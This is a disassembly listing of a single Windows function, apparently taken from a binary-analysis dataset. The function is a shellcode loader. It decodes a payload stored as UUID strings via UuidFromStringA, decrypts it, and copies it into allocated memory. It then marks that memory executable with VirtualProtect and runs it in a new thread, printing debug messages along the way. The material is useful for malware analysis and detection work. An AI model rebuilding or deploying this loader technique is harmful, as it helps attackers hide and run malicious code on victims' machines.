Function at 0x140001360
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x70
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x68], rax
xor r15d, r15d
lea rcx, str.___Trying_to_deobfuscate_the_payload.._n
mov dword [rsp + 0x60], r15d
call fcn.140001010
lea rcx, str.RPCRT4
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.UuidFromStringA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
test rax, rax
jne 0x1400013df
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetProcAddress_Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x140001610
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x120
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
jne 0x14000141a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x140001610
lea r12, str.b20c8960_4319_ced0_d273_a9f7df95d8db
mov rdi, r14
mov rsi, r12
mov ebx, r15d
nop word [rax + rax]
mov rcx, qword [rsi]
mov rdx, rdi
call rbp
test eax, eax
jne 0x1400015fa
add rdi, 0x10
inc ebx
add rsi, 8
cmp ebx, 0x12
jb 0x140001430
lea rcx, str.___Payload_successfully_deobfuscated__n
call fcn.140001010
mov rdx, r14
lea rcx, str._i__Deobfuscated_payload_located_at:__p_n
call fcn.140001010
mov edx, 0x120
lea rcx, str._i__Deobfuscated_payload_size_is:__zu_n
call fcn.140001010
lea rax, [0x1400050e0]
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x30]
lea rax, [0x140005040]
mov dword [rsp + 0x38], r15d
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x48], 0x120
call fcn.140001070
test eax, eax
jne 0x1400014dd
lea rcx, str.____Could_not_decrypt_the_payload..._n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14000161c
mov rsi, qword [rsp + 0x30]
lea rcx, str.___Payload_successfully_decrypted__n
mov edi, dword [rsp + 0x38]
call fcn.140001010
mov rdx, rsi
lea rcx, str._i__Decrypted_payload_located_at:__p_n
call fcn.140001010
mov edx, edi
lea rcx, str._i__Decrypted_payload_size_is:__d_n
call fcn.140001010
mov r9d, 4
mov r8d, 0x3000
mov edx, edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x140001539
lea rcx, str.____Could_not_allocate_memory..._n
jmp 0x140001617
mov rdx, rbx
lea rcx, str.___Buffer_successfully_allocated_at:__p_n
call fcn.140001010
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea r9, [rsp + 0x60]
mov r8d, 0x20
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000157d
lea rcx, str.____VirtualProtect_failed_to_change_memory_permissions..._n
jmp 0x140001617
lea rcx, str._i__Press_a_key_on_your_keyboard_to_continue
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor r9d, r9d
mov qword [rsp + 0x28], r15
mov r8, rbx
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
jne 0x1400015ba
lea rcx, str.____Failed_to_create_a_thread.._n
jmp 0x140001617
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x140001621
movsxd rdx, ebx
lea rcx, str.____UuidFromStringA_Failed_At___s__With_Error_0x_0.8X
mov r8d, eax
mov rdx, qword [r12 + rdx*8]
call fcn.140001010
lea rcx, str.____Could_not_deobfuscate_the_payload.._n
call fcn.140001010
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140001660
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret